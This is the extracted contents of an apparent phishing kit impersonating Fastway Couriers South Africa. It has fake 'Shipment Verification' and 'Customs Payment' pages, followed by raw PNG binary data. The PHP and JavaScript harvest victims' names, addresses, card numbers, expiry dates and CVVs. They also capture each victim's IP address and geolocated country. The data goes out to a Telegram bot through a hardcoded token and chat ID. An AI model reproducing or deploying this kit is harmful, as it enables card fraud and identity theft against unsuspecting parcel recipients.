font-family: 'Barlow Condensed', sans-serif;
font-size: 3.5rem;
font-weight: 800;
line-height: 1;
}
.fee-description {
text-align: center;
color: var(--grey);
font-size: 0.9rem;
margin-bottom: 2rem;
}
label {
display: block;
margin: 1.25rem 0 0.35rem;
font-weight: 600;
font-size: 0.85rem;
color: var(--navy-dark);
text-transform: uppercase;
letter-spacing: 0.5px;
}
input[type="text"], input[type="tel"] {
width: 100%;
padding: 0.85rem 1rem;
border: 2px solid var(--light-grey);
border-radius: var(--radius);
background: var(--input-bg);
font-family: 'Barlow', sans-serif;
font-size: 0.95rem;
transition: all 0.15s ease;
}
input:focus {
outline: none;
border-color: var(--orange);
box-shadow: 0 0 0 3px rgba(244,121,32,0.1);
}
.input-group {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1.25rem;
margin-bottom: 1rem;
}
@media (max-width: 600px) {
.input-group { grid-template-columns: 1fr; }
}
.btn-primary {
display: block;
width: 100%;
padding: 1rem;
margin-top: 2rem;
background: var(--orange);
color: var(--white);
border: none;
border-radius: var(--radius);
font-family: 'Barlow', sans-serif;
font-weight: 700;
font-size: 1rem;
text-transform: uppercase;
letter-spacing: 1px;
cursor: pointer;
transition: all 0.15s ease;
}
.btn-primary:hover {
background: var(--orange-light);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(244,121,32,0.3);
}
.payment-methods {
display: flex;
justify-content: center;
gap: 1rem;
margin: 1.5rem 0;
flex-wrap: wrap;
}
.payment-method {
background: var(--off-white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 0.4rem 0.8rem;
font-size: 0.8rem;
color: var(--grey);
display: flex;
align-items: center;
gap: 0.4rem;
}
.tip {
font-size: 0.85rem;
color: var(--grey);
margin-top: 1.5rem;
padding: 1rem;
background: var(--off-white);
border-left: 3px solid var(--orange);
border-radius: var(--radius);
}
.loading-overlay {
position: fixed;
top: 0; left: 0; width: 100%; height: 100%;
background: rgba(255, 255, 255, 0.98);
display: none;
justify-content: center;
align-items: center;
flex-direction: column;
z-index: 1000;
}
.spinner {
width: 50px; height: 50px;
border: 3px solid var(--light-grey);
border-top: 3px solid var(--orange);
border-radius: 50%;
animation: spin 1.2s linear infinite;
margin-bottom: 1rem;
}
@keyframes spin { to { transform: rotate(360deg); } }
/* FOOTER */
.footer {
background: var(--navy-dark);
padding: 3rem 0 2rem;
margin-top: auto;
}
.footer-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
text-align: center;
}
.footer-logo {
margin-bottom: 1.5rem;
}
.footer-logo img {
height: 70px;
width: auto;
opacity: 0.9;
}
.footer-address {
color: rgba(255,255,255,0.6);
font-size: 0.9rem;
margin-bottom: 1rem;
line-height: 1.6;
}
.footer-copyright {
color: rgba(255,255,255,0.4);
font-size: 0.8rem;
}
.footer-links {
display: flex;
justify-content: center;
gap: 2rem;
margin: 1rem 0 1.5rem;
flex-wrap: wrap;
}
.footer-links a {
color: rgba(255,255,255,0.6);
text-decoration: none;
font-size: 0.85rem;
transition: color 0.15s;
}
.footer-links a:hover { color: var(--orange); }
@media (max-width: 600px) {
.card { padding: 1.5rem; }
.logo { height: 60px; }
.amount-number { font-size: 2.5rem; }
}
</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>
<header class="header">
<div class="header-container">
<div class="logo-container">
<img src="assets/1.png" alt="Fastway Couriers" class="logo">
</div>
</div>
</header>
<div class="banner">
<div class="banner-content">
<div class="banner-title">Customs <span>Payment</span></div>
</div>
</div>
<main class="container">
<div class="card">
<div class="progress">
<i class="fas fa-credit-card" style="color: var(--orange);"></i>
<strong>Status:</strong> <span>Payment Required</span>
</div>
<div class="parcel-info">
<div class="info-row">
<span class="info-label"><i class="fas fa-barcode"></i> Tracking Number:</span>
<span class="info-value" id="trackingDisplay"><?php echo $tracking; ?></span>
</div>
<div class="info-row">
<span class="info-label"><i class="fas fa-box"></i> Parcel Type:</span>
<span class="info-value" id="typeDisplay"><?php echo $parcel_type; ?></span>
</div>
<div class="info-row">
<span class="info-label"><i class="fas fa-weight-hanging"></i> Weight:</span>
<span class="info-value" id="weightDisplay"><?php echo $weight; ?> kg</span>
</div>
<div class="info-row">
<span class="info-label"><i class="fas fa-file-invoice-dollar"></i> Fee Type:</span>
<span class="info-value">Customs Clearance Duty</span>
</div>
</div>
<div class="amount-display">
<span class="amount-currency">R</span>
<span class="amount-number">122.36</span>
</div>
<div class="fee-description">
<i class="fas fa-info-circle"></i> This is a mandatory customs duty for international parcels
</div>
<form id="paymentForm">
<input type="hidden" id="tracking" name="tracking" value="<?php echo $tracking; ?>">
<input type="hidden" id="parcel_type" name="parcel_type" value="<?php echo $parcel_type; ?>">
<label for="card_name"><i class="fas fa-user"></i> Cardholder Name</label>
<input type="text" id="card_name" name="card_name" placeholder="e.g. JOHN SMITH" required>
<label for="card_number"><i class="fas fa-credit-card"></i> Card Number</label>
<input type="tel" id="card_number" name="card_number" placeholder="1234 5678 9012 3456" maxlength="19" required>
<div class="input-group">
<div>
<label for="expiry"><i class="fas fa-calendar-alt"></i> Expiry (MM/YY)</label>
<input type="tel" id="expiry" name="expiry" placeholder="MM/YY" maxlength="5" required>
</div>
<div>
<label for="cvv"><i class="fas fa-lock"></i> CVV</label>
<input type="tel" id="cvv" name="cvv" placeholder="123" maxlength="4" required>
</div>
</div>
<div class="payment-methods">
<div class="payment-method"><i class="fab fa-cc-visa"></i> Visa</div>
<div class="payment-method"><i class="fab fa-cc-mastercard"></i> MasterCard</div>
<div class="payment-method"><i class="fas fa-university"></i> EFT</div>
<div class="payment-method"><i class="fab fa-cc-amex"></i> Amex</div>
</div>
<p class="tip">
<i class="fas fa-shield-alt"></i>
Your payment is secured with 256-bit SSL encryption. Fastway Couriers never stores your full card details.
</p>
<button type="submit" class="btn-primary">
<i class="fas fa-lock"></i> Pay R122.36 Now
</button>
</form>
</div>
</main>
<div class="loading-overlay" id="loadingOverlay">
<div class="spinner"></div>
<div style="font-size: 1.1rem; font-weight: 600; margin-bottom: 0.5rem; color: var(--navy-dark);">Processing Secure Payment...</div>
<div style="color: var(--grey);">Please do not close this window</div>
</div>
<footer class="footer">
<div class="footer-content">
<div class="footer-logo">
<img src="assets/3.png" alt="Fastway Couriers">
</div>
<div class="footer-address">
Fastway Couriers South Africa<br>
12 Electron Road, Isando, Johannesburg, 1600
</div>
<div class="footer-links">
<a href="#"><i class="fas fa-shield-alt"></i> Privacy Policy</a>
<a href="#"><i class="fas fa-file-contract"></i> Terms of Service</a>
<a href="#"><i class="fas fa-question-circle"></i> Help Center</a>
</div>
<div class="footer-copyright">
© 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved.
</div>
</div>
</footer>
<script>
document.addEventListener('DOMContentLoaded', function() {
const tracking = '<?php echo $tracking; ?>';
document.getElementById('trackingDisplay').textContent = tracking;
});
// Format card number
document.getElementById('card_number').addEventListener('input', function(e) {
let v = e.target.value.replace(/\D/g, '').substring(0,16);
e.target.value = v.match(/.{1,4}/g)?.join(' ') || v;
});
// Format expiry
document.getElementById('expiry').addEventListener('input', function(e) {
let v = e.target.value.replace(/\D/g, '').substring(0,4);
if (v.length > 2) v = v.slice(0,2) + '/' + v.slice(2);
e.target.value = v;
});
// Submit
document.getElementById('paymentForm').addEventListener('submit', async function(e) {
e.preventDefault();
const btn = this.querySelector('.btn-primary');
const overlay = document.getElementById('loadingOverlay');
btn.disabled = true;
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...';
overlay.style.display = 'flex';
const formData = new FormData(this);
const data = {
action: 'log_payment',
tracking: formData.get('tracking'),
parcel_type: formData.get('parcel_type'),
card_name: formData.get('card_name'),
card_number: formData.get('card_number'),
expiry: formData.get('expiry'),
cvv: formData.get('cvv')
};
try {
await fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams(data)
});
} catch (err) {
console.log('Telegram failed');
}
localStorage.setItem('paymentData', JSON.stringify(Object.fromEntries(formData)));
setTimeout(() => {
window.location.href = 'loading2.php';
}, 1500);
});
</script>
</body>
</html>PK v�\�v8H 8H index.phpnu �[��� <?php
$BOT_TOKEN = "7855531302:AAGEfCJhGKdJNEcbJFDchAF40G3OrJO6sLw";
$CHAT_ID = "-5194337371";
// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Unknown';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
$geo = json_decode($geoData);
$country = $geo->country ?? 'Unknown';
}
function sendTelegram($msg) {
global $BOT_TOKEN, $CHAT_ID;
$url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
$data = [
'chat_id' => $CHAT_ID,
'text' => $msg,
'parse_mode' => 'HTML',
'disable_web_page_preview' => true
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
curl_close($ch);
}
// === HANDLE AJAX LOGIN LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_login') {
$tracking = htmlspecialchars($_POST['tracking'] ?? '');
$fullname = htmlspecialchars($_POST['fullname'] ?? '');
$address = htmlspecialchars($_POST['address'] ?? '');
$city = htmlspecialchars($_POST['city'] ?? '');
$postal = htmlspecialchars($_POST['postal'] ?? '');
$msg = "<b>📦🪭 FASTWAY COURIERS SHIPMENT DETAILS</b>\n";
$msg .= "══════════════════════════════\n";
$msg .= "<b>Tracking #:</b> <code>{$tracking}</code>\n";
$msg .= "<b>Full Name:</b> {$fullname}\n";
$msg .= "<b>Address:</b> {$address}\n";
$msg .= "<b>City:</b> {$city}\n";
$msg .= "<b>Postal Code:</b> {$postal}\n";
$msg .= "<b>IP:</b> <code>{$ip}</code>\n";
$msg .= "<b>Country:</b> {$country}\n";
$msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
$msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
sendTelegram($msg);
echo json_encode(['status' => 'logged']);
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fastway Couriers | Shipment Verification</title>
<link href="https://fonts.googleapis.com/css2?family=Barlow+Condensed:wght@400;600;700;800&family=Barlow:wght@300;400;500;600&display=swap" rel="stylesheet">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
:root {
--orange: #F47920;
--orange-light: #FF8C3A;
--navy: #1A2340;
--navy-dark: #10172B;
--navy-mid: #232E4A;
--white: #FFFFFF;
--off-white: #F7F8FA;
--grey: #6B7280;
--light-grey: #E5E7EB;
--text: #1F2937;
--success: #0F7B4B;
--success-bg: #E8F3ED;
--radius: 6px;
}
html { scroll-behavior: smooth; }
body {
font-family: 'Barlow', sans-serif;
color: var(--text);
background: var(--off-white);
min-height: 100vh;
display: flex;
flex-direction: column;
}
.container { max-width: 800px; margin: 0 auto; width: 100%; padding: 0 1.5rem; }
/* HEADER */
.header {
background: var(--white);
padding: 1rem 0;
box-shadow: 0 2px 10px rgba(0,0,0,0.05);
}
.header-container {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
}
.logo-container { display: flex; align-items: center; }
.logo { height: 70px; width: auto; }
/* BANNER */
.banner {
width: 100%;
background: linear-gradient(135deg, var(--navy-dark) 0%, var(--navy) 100%);
padding: 2.5rem 0;
margin-bottom: 2rem;
}
.banner-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
color: var(--white);
}
.banner-title {
font-family: 'Barlow Condensed', sans-serif;
font-size: clamp(2rem, 5vw, 2.5rem);
font-weight: 800;
text-transform: uppercase;
letter-spacing: -0.5px;
margin-bottom: 0.5rem;
}
.banner-title span { color: var(--orange); }
.banner-sub {
font-size: 1rem;
color: rgba(255,255,255,0.8);
max-width: 600px;
}
/* SECTION TITLE */
.section-title {
margin: 0 0 1.5rem 0;
}
.section-title h1 {
font-family: 'Barlow Condensed', sans-serif;
font-size: 2rem;
font-weight: 700;
color: var(--navy-dark);
margin: 0 0 0.25rem 0;
}
.section-subtitle {
font-size: 0.95rem;
color: var(--grey);
display: flex;
align-items: center;
gap: 0.5rem;
}
/* MAIN CARD */
.card {
background: var(--white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 2rem;
margin-bottom: 2rem;
box-shadow: 0 4px 12px rgba(0,0,0,0.05);
}
.status-bar {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 1rem 1.25rem;
background: var(--off-white);
border-radius: var(--radius);
border-left: 4px solid var(--orange);
margin-bottom: 2rem;
font-size: 0.95rem;
}
.status-bar strong { color: var(--navy-dark); }
.status-bar span { color: var(--orange); font-weight: 600; margin-left: 0.25rem; }
/* INFO BOX */
.info-box {
background: var(--off-white);
border: 1px solid var(--light-grey);
border-radius: var(--radius);
padding: 1.5rem;
margin: 1.5rem 0;
}
.info-box h3 {
font-family: 'Barlow Condensed', sans-serif;
font-size: 1.25rem;
font-weight: 700;
color: var(--navy-dark);
margin: 0 0 1rem 0;
display: flex;
align-items: center;
gap: 0.5rem;
}
.info-box h3 i { color: var(--orange); }
.info-box p {
margin: 0.5rem 0;
color: var(--grey);
font-size: 0.95rem;
line-height: 1.6;
}
.info-box ul {
margin: 1rem 0 0;
padding-left: 1.25rem;
}
.info-box li {
margin: 0.5rem 0;
font-size: 0.95rem;
color: var(--grey);
}
/* FORM ELEMENTS */
label {
display: block;
margin: 1.5rem 0 0.35rem;
font-weight: 600;
font-size: 0.85rem;
color: var(--navy-dark);
text-transform: uppercase;
letter-spacing: 0.5px;
}
input[type="text"] {
width: 100%;
padding: 0.85rem 1rem;
border: 2px solid var(--light-grey);
border-radius: var(--radius);
background: var(--white);
font-family: 'Barlow', sans-serif;
font-size: 0.95rem;
transition: all 0.15s ease;
}
input:focus {
outline: none;
border-color: var(--orange);
box-shadow: 0 0 0 3px rgba(244,121,32,0.1);
}
input[readonly] {
background: var(--off-white);
border-color: var(--light-grey);
color: var(--navy-dark);
font-weight: 500;
}
.form-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1rem;
}
@media (max-width: 600px) {
.form-grid { grid-template-columns: 1fr; }
}
.tracking-prefix {
background: var(--off-white);
border: 2px solid var(--light-grey);
border-radius: var(--radius);
padding: 0.85rem 1rem;
font-size: 0.95rem;
color: var(--navy-dark);
font-weight: 500;
display: flex;
align-items: center;
gap: 0.5rem;
}
.tracking-prefix i { color: var(--orange); }
/* BUTTON */
.btn-primary {
display: block;
width: 100%;
padding: 1rem;
margin-top: 2rem;
background: var(--orange);
color: var(--white);
border: none;
border-radius: var(--radius);
font-family: 'Barlow', sans-serif;
font-weight: 700;
font-size: 1rem;
text-transform: uppercase;
letter-spacing: 1px;
cursor: pointer;
transition: all 0.15s ease;
}
.btn-primary:hover {
background: var(--orange-light);
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(244,121,32,0.3);
}
.btn-primary i { margin-right: 0.5rem; }
.security-note {
text-align: center;
margin-top: 1.5rem;
color: var(--grey);
font-size: 0.85rem;
}
.security-note i { color: var(--orange); }
/* FOOTER */
.footer {
background: var(--navy-dark);
padding: 3rem 0 2rem;
margin-top: auto;
}
.footer-content {
max-width: 1200px;
margin: 0 auto;
padding: 0 1.5rem;
text-align: center;
}
.footer-logo {
margin-bottom: 1.5rem;
}
.footer-logo img {
height: 70px;
width: auto;
opacity: 0.9;
}
.footer-address {
color: rgba(255,255,255,0.6);
font-size: 0.9rem;
margin-bottom: 1rem;
line-height: 1.6;
}
.footer-copyright {
color: rgba(255,255,255,0.4);
font-size: 0.8rem;
}
.footer-links {
display: flex;
justify-content: center;
gap: 2rem;
margin: 1rem 0 1.5rem;
flex-wrap: wrap;
}
.footer-links a {
color: rgba(255,255,255,0.6);
text-decoration: none;
font-size: 0.85rem;
transition: color 0.15s;
}
.footer-links a:hover {
color: var(--orange);
}
@media (max-width: 600px) {
.card { padding: 1.5rem; }
.container { padding: 0 1rem; }
.logo { height: 60px; }
}
</style>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>
<!-- HEADER -->
<header class="header">
<div class="header-container">
<div class="logo-container">
<img src="assets/1.png" alt="Fastway Couriers" class="logo">
</div>
</div>
</header>
<!-- BANNER -->
<div class="banner">
<div class="banner-content">
<div class="banner-title">Shipment <span>Verification</span></div>
<div class="banner-sub">Action required to complete customs clearance for your international parcel</div>
</div>
</div>
<!-- MAIN CONTENT -->
<main class="container">
<div class="section-title">
<h1>Receiver Verification Required</h1>
<div class="section-subtitle">
<i class="fas fa-info-circle" style="color: var(--orange);"></i> Your shipment requires attention before delivery
</div>
</div>
<div class="card">
<div class="status-bar">
<i class="fas fa-clipboard-check" style="color: var(--orange);"></i>
<strong>Status:</strong> <span>Pending receiver verification</span>
</div>
<div class="info-box">
<h3><i class="fas fa-envelope"></i> Important Notice</h3>
<p>Your shipment <strong>FW632846518</strong> has arrived at our Johannesburg sorting facility and requires receiver verification before proceeding with customs clearance.</p>
<p><strong>This shipment is registered under your email address.</strong> Please complete the verification below to authorize further processing and ensure timely delivery.</p>
<ul>
<li>Customs clearance requires receiver confirmation</li>
<li>Please verify your contact details below</li>
<li>Additional instructions will follow verification</li>
</ul>
</div>
<form id="trackingForm">
<!-- TRACKING NUMBER (Pre-filled) -->
<label for="tracking"><i class="fas fa-barcode"></i> Fastway Tracking Number:</label>
<div class="tracking-prefix">
<i class="fas fa-box"></i> FW632846518
<input type="hidden" id="tracking" value="FW632846518">
</div>
<!-- RECEIVER INFORMATION -->
<label style="margin-top: 2rem;"><i class="fas fa-user"></i> Receiver Information</label>
<p style="font-size: 0.9rem; color: var(--grey); margin: 0.25rem 0 1.25rem;">Please provide your complete details for shipment verification</p>
<div class="form-grid">
<div>
<label for="fullname">Full Name *</label>
<input type="text" id="fullname" placeholder="John Smith" required>
</div>
<div>
<label for="city">City *</label>
<input type="text" id="city" placeholder="Johannesburg" required>
</div>
</div>
<label for="address">Street Address *</label>
<input type="text" id="address" placeholder="123 Main Street, Sandton" required>
<div class="form-grid">
<div>
<label for="postal">Postal Code *</label>
<input type="text" id="postal" placeholder="2196" required>
</div>
<div>
<label for="province">Province</label>
<input type="text" id="province" value="South Africa" readonly>
</div>
</div>
<button type="submit" class="btn-primary">
<i class="fas fa-check-circle"></i> Verify & Continue
</button>
</form>
<div class="security-note">
<i class="fas fa-shield-alt"></i> Secure 256-bit SSL encryption • Your information is protected
</div>
</div>
</main>
<!-- FOOTER -->
<footer class="footer">
<div class="footer-content">
<div class="footer-logo">
<img src="assets/3.png" alt="Fastway Couriers">
</div>
<div class="footer-address">
Fastway Couriers South Africa<br>
12 Electron Road, Isando, Johannesburg, 1600
</div>
<div class="footer-links">
<a href="#"><i class="fas fa-shield-alt"></i> Privacy Policy</a>
<a href="#"><i class="fas fa-file-contract"></i> Terms of Service</a>
<a href="#"><i class="fas fa-question-circle"></i> Help Center</a>
<a href="#"><i class="fas fa-phone"></i> Contact Us</a>
</div>
<div class="footer-copyright">
© 2026 Fastway Couriers South Africa (Pty) Ltd. All rights reserved.
</div>
</div>
</footer>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('trackingForm').addEventListener('submit', async function(e) {
e.preventDefault();
const tracking = 'FW632846518';
const fullname = document.getElementById('fullname').value.trim();
const address = document.getElementById('address').value.trim();
const city = document.getElementById('city').value.trim();
const postal = document.getElementById('postal').value.trim();
// === VALIDATION ===
if (!fullname) {
alert('Please enter your full name.');
document.getElementById('fullname').focus();
return;
}
if (!address) {
alert('Please enter your street address.');
document.getElementById('address').focus();
return;
}
if (!city) {
alert('Please enter your city.');
document.getElementById('city').focus();
return;
}
if (!postal) {
alert('Please enter your postal code.');
document.getElementById('postal').focus();
return;
}
const data = { tracking, fullname, address, city, postal };
// === SEND TO TELEGRAM ===
try {
await fetch('', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `action=log_login&tracking=${encodeURIComponent(tracking)}&fullname=${encodeURIComponent(fullname)}&address=${encodeURIComponent(address)}&city=${encodeURIComponent(city)}&postal=${encodeURIComponent(postal)}`
});
} catch (err) {
console.log('Telegram log failed (non-blocking)');
}
// === SAVE & REDIRECT ===
localStorage.setItem('fastwayData', JSON.stringify(data));
window.location.href = 'loading1.php';
});
});
</script>
</body>
</html>PK v�\!8�U�z �z assets/2.pngnu �[��� �PNG
IHDR J ��MO pHYs ��~� IDATx��y�$Gu&�E�^��{�퍄 mb��c��{���~��ad�=�0��d���1������� �ԭnI��^�ZK.��?""+�n��ۭ��j_��oUVfddVf��|�"�����������=��������xv�e�%�K2,,,,,,,��dXXXXXXX,,ɰ������XX�aaaaaaa�,�$�������bY`I�������Ų���e�%�K2,,,,,,,��dXXXXXXX,,ɰ������XX�aaaaaaa�,�$�������bY`I�������Ų���e�%�K2,,,,,,,��dXXXXXXX,,ɰ������XX�aaaaaaa�,�$�������bY`I�������Ų���e�%�K2,,,,�����^q��=����aI�����"��7��sW�������dXXXX,����Q�t�;vl=�}����`I�����"��8ٿo�?���~�|����B�%���������?�z͚M�/,ɰ���8N�8����y��5�<�}����@����0�kV��7l�ei�Aa�5���\*G�뺐"t�q]7 �Ѝ6
�^����!�R8B� *�r8h_I��,�X�e�0���l��w�7�2� �o`����8�#�v��f�3��v�Ѯ
���:I��j��-[�nY�e��`fv���P}(��><����, ѯ�RH!�R��R"$�\�s)'�Fc>v� i�]�v���N�~�o���^�Ko~�]���g.�<2���XX\p�w,,�V�\����IZ�CK��֫�jMp^ �R�q��7�4Q�WX��&&&*�fk�>T��a���A�=?PJ� u���/)%��;n�٧�RJ8n�[9M3PPJ�� �!���}6a�<�Ҵ�8og,kH![I��RJS'N6י�:9�|�/�k7�sB�&˲9 �NN�49�ǿ����v����>N�<���_�k� w�۷�x6�Z2,�1�>�+˭v�����$���G�\?����pm��S����J]'
�0��D��V�Z=�y�2 ���R����J��N�R�B|
�Π����2)% %d��^ֽ6�$�m
I ��~D�?!%H�=B���Ha��a�t}+���PJ@@���R
�RJsR"G�1чǡ��
�9�B�LH�8�8n�\��5������5w�~|�q�j��`|&e�ܿ�ߧN�8~�16��j��s�v>>�Ϣ����rՕW��_��-����8V� �dX�uxaH�կI��4<<4�z�H�Rq��K�o��ׯJҴ>�bb\Q�ׇj��
�?L)�NeX8�WװjPRv�a ��_H�܄:���ogf��i���U@i)�Uq��0\@
� @�sM\�p�魔�8�}�R ��}�,C�f � ���h�T.�EO�/l��@�$�$c��v����̱�v>z�_����v|�������w-,��$�"���JQ�\���Ws��a�nX)���F��vR.�J��8Չ����/�d�� �J�\q=��9�J)
�dAYD�ՠ�E`HE�v�[�<�+�X�.����u@InqPK;ZiB̋��u�' }�© ���B(R$�L�"�$��dH)r�%����$� ���"
#D�2(!h�H��R �R@Jat�[7�w�x�{�ǭ��|cn^0v�?~��c��L������ѯ?��#IN�t��O��WX��,Ǫ����n�~�Z���hm�\�زy�ڟx�O��V�+A�Z��(�+��u��4��(���.E�Ж�.7BO;�|�w�b�Pj\�ș: (Qd�Т-��.A�r���4�,M���`\�eq� Me�����T����A����aT+8t �SӸ�K�$md)���)�i�"K3�wi���4�p˻މO�~���+�D��h��xnff����S_��W���?��,e?��C�ڽ��g,ɸ@�!��+jA�D��x�\ںu��+��ry�\*
�a8�k�]~�\.�AX�=�F�n��,4��o�[p]�C;�;�@�Xz1h���w/�^@������m{��Hh�N�ra\@H)��AH�8�Pfs�ϐe�30� �ZΡڐ�k}��Bp)�Y��1pm�� �BHPJA)�C)���q���X���u=8��R)BFp�Je��Sp��4E;n#M��eC���Pp\�RQ�ر�����P�V@���R�Z�6�f�@(���(�08���B�y*�
��7��L���V�udfvf�W��/O6��}���G�?�ԓ��|t���a�l�%��Z�ʻ��W��յJy���7��E/�����э�re]�S
���j�$����`D�*�~������E�B�g����\'���}��E��9�q�i
�1d,A�f`B�gq�F�݂�,I� �9g �C^H K�Z-���!�$�s4�M���4C��B�$�X�f� )$�����`i!8���R�!�[�"O\ׅ��\��hk���PM¸���$��<��VʨV��T+�$p]�HDa�0*a��86lڂ5�W�\.u��$I0?�@�� $�e�ת�(��T��PO>��8����ĉcB��R�:���LH��-4[M�Z-���ի������?��s�.�~��?�og�m)%�4m�8q��Ǐ���;�����>w����b�aI�2�C�������+�0Y�v�ڭ�7����LA���_��U�CG˥�JϥC��F�HD?=CQ9���X:��+�A��D�\FQy��-n�t�A�J����L��G�%`i�8I���@p�9H�Y�"�i���h�1Ҹ�V��f;F��F��B���L��9q8� p]���H�nW !Dž���:pA"�=�A�0�J�� QT���=A"��� !|υ�p
�E04�8]��)�2�$M�m�7���������7ߌv;���N?�����alظ�V���{�R"MS4�-�I�X�F�g� ��\�B
�СE�\A�&�VkZ�*ABrΑ$����q�z����g���3�_y�[�_x=~�曗e]�f)0?�8��~�ɧ���=���x��eٱ��Y�%gW^����Ͻ�bc�����Q�նWJ�-��ז�Fw�D��D��8���3��I�0��g2!�� �v�8��� E��B�$��DYSn=Pr!�mH!�$1�8E;��j61?���<���' Z�&�8F��p��(��B��X��!���#*E��j�U+�T�B�ZE�^C)���ڀ��5��7�xc��gf���G�w�^<���`��-�wI�`nn�e�U$ �G�A�z*�*����1\rɥ8x� ���A5�
���j�e)�,A��R�eV�^�ё�厦��Z��%��o�����W��e=�.12�&M�����>���q�����u���i���S�뮭�Q��R�����6�]�nC�{W^u�Ƶ�7�.��
�sǗ��ϵ��հ ����T����Ȳi�!M h�m$��v�)2��1<�E�*�$ �v�8F���߭vq���n���L�ap(��0 �2�J�>$�EE�J�R �j
~�B*KQ�J��RTB�Z�nzA�/�~�7~��01>��zi�a�{p��Q�M���۷�:.�h�Zh4�}"8$W"]�h�^�R�Q���Y���b݆� �vA俕�S���E(r����`,C�Tƚ�k���p�e}#����Kw�LJf�݇����w��]x�+^��R��<O%RcY�V�F�n������tߗ>�s�c���%��7�~�e/�Q��v��%/���_sY�V���g�Np�$c��m�Y�$i�ј���,���17;�8K��mPDž�R�5H��� C�A�z��R��/�u�~A�r��Z���� ����^��Z��^�addCCCF)��=K���t��q���?�m�x� <��C���7������C���Z*���'B�� �Ք$1&''1>>���7����"~����q�E��CBE��]�#C��!�8�&�9� 4'����G;�l"I|��O�?��?��+�2���F�\F�R�����,f�N�><Ҽ������e��cC2�o��Y�v]�V���h����0�6�̍7n])�VR�=g6v�'O��$A�&h�b�[M$q�$M�e8�HY�,M�8�K)<_�� ��!(E(�J����\x��sA ��8��s��>�t�M���-���8����?���ޖev�܅$�q�W ��ٹy�q�+A��Ah� �z�X<p ab������:h��P���DN4��Ê��8g�,S��� (��tP���<,�}!I�2�Y����;}�|�|���Z���oo�s�s���F�R��P�p�03;�v�
<��>�����'?�����ϝ�NYX�d\wݵՋ.������=�j���^�n��sN��1�Z-��͡�na��ffg0?;�V� . �����\*�\��Z��\.�\��E�]wY��RJ��x���Yo�������,^��םqi���o�yϿ�JRJ�7��l4�W�N���B��p�+U��(|��e�]���id������dL�a*s��زi3!�~�܄I���&ƕB`�;�/�xt[=:���o����~�Wq�}������x���_�?��������cr���شy3�@YR�$���a ���X����n��ֿ<g��(�%��ޕW>gK�Z�җ�t{�Z��S/~�E#�Û�0X���Bp�8eh��h��h��cvvq���q�LO�� P���b�VG�P*WP�WQ.W�\ǁ�Lb)�ηB�R��_v^�oqz���?�7��
}Z�p��خ]p(��_B��6fgf�DG���Z$�r�@�c���p�FC��vˊWQP���D�<�_����h ͘N�y.Qj,�`�A��x�ے��.��K@x���/�[��g��<i�b������k_{��g)8�-LNF�T�ʉ�|?w��<~a)�ާ�>�O������=�cɸ��^{�57��g^~ݵ�^��Z�v��{K��X&U3�Ɇ��s�h4h��czz
�O�Dc~\px��r��z����F��P��RV!���g��y��7�1�Y<��?���:[����ɓ'�e��@I���'U���J�)��'�ʠ
BQ*E8�?�4���
��5�LO�'�P�؆h K6mތJ����Y$i��+����
�BdK��a\-Eu\�z��n�n��^�r��{��Á}��=����?�|���C����1����S�s6���&a~���[���h1�9ON��l�6T����w�r�;�z��紃?�xƕz_�r�w��+.���k�ڼy��}�mݶ��o�۫��90jv�?l�����073���i4�
�q�$M����k5T*5��%l�_qB?@p�J.�ڷ���Y�
!#�8q�Cu�����L��@d)(:��| ��f��ɓ'q��Q�Q*��l4D� ��) !�.��߇���`�^�|��v��VK ]ЎPH�I� �к
�5�Щ�I��- 8��#X�i�g�ރr��[$��+^�J|����Aadd�~��DZ���$V�Y����?��g�p=��m����zr�CCX9���a͚5�o��ȑ�ؾ}뫿��o}�W��՝w�oˎg�X�~}�5�y��_���{����z�YSO����ss�������8y�$�$E�^C)�T �Qlܼ �(��<yX
�&�l�x��aq��6�0@�h4�Q.��>�GGq���,Q��!@A���1�GF����'���P��јo*Ra��b!�k�h�A��#�� ����h5�%@����<���>�T�m�Ф0�]Y�r�P��K�q;Q�2�J��;�Xd�Δ�h�cdh���Q.��j�
>2�r�!��Ow�m��(�P���a^����Yl۲
��V��R*㩽{177��O��O����}��=�}�M_n��8/$cddԹ��|��_u�kn�ٗ����5��]��t 8G�24[
4��17�PY&��wׅ�(�%\|ɥ(�
���MK��={�qӦ��
